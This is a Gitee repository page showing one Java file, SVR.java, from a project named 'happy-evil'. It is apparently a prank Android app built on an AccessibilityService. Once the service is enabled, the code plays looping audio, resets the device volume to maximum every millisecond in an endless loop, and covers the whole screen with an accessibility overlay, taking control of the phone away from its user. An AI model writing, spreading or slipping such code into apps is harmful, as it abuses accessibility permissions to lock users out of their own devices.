1 Star 1 Fork 0

姓名/happy-evil

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
SVR.java 2.57 KB
一键复制 编辑 原始数据 按行查看 历史
CheungThree 提交于 2025-01-22 19:15 +08:00 . 白屏修复
package com.example.lyt.temp;
import com.example.lyt.*;
import android.accessibilityservice.*;
import android.app.Service;
import android.content.Context;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager;
import android.view.accessibility.*;
import android.widget.Toast;
public class SVR extends AccessibilityService {
public static SVR service;
public void playMusic() {
AudioManager ado;
ado = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
class R extends Thread {
@Override
public void run() {
MediaPlayer m;
/*开始播放*/
(m = MediaPlayer.create(GLB.app(), com.example.lyt.R.raw.happy)).setLooping(true);
m.start();
try {
for (; ; ) {
ado.setStreamVolume(AudioManager.STREAM_MUSIC, ado.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
Thread.sleep(1);
}
} catch (InterruptedException e) {
}
}
}
new R().start();
}
@Override
public void onAccessibilityEvent(AccessibilityEvent e) {
synchronized (this.getClass()) {
if (GLB.getFLag()) /*已经播放过了*/ return;
GLB.setFlag(1);/*标记播放*/
}
GLB.writeStack();
playMusic();
showWindow();
}
@Override
public void onDestroy() {
super.onDestroy();
GLB.writeStack();
service = null;
}
private void showWindow() {
WindowManager w = (WindowManager) getSystemService(Service.WINDOW_SERVICE);
LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflater.inflate(R.layout.content_sndactivity, null);
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
WindowManager.LayoutParams p = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
0,
0
);
assert w != null;
w.addView(v, p);
}
}
@Override
protected void onServiceConnected() {
super.onServiceConnected();
synchronized (this.getClass()) {
GLB.setFlag(1);/*必为初次激活,标记播放*/
showWindow();
playMusic();
}
synchronized (this.getClass()) {
GLB.setFlag(0);/*去除播放标记*/
}
GLB.write("\n----onServiceConnected----\n");
Toast.makeText(GLB.app(), "Connected", Toast.LENGTH_LONG).show();
service = this;
}
@Override
public void onInterrupt() {
GLB.writeStack();
service = null;
return;
}
}
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/CheungThree/happy-evil.git
git@gitee.com:CheungThree/happy-evil.git
CheungThree
happy-evil
happy-evil
master

搜索帮助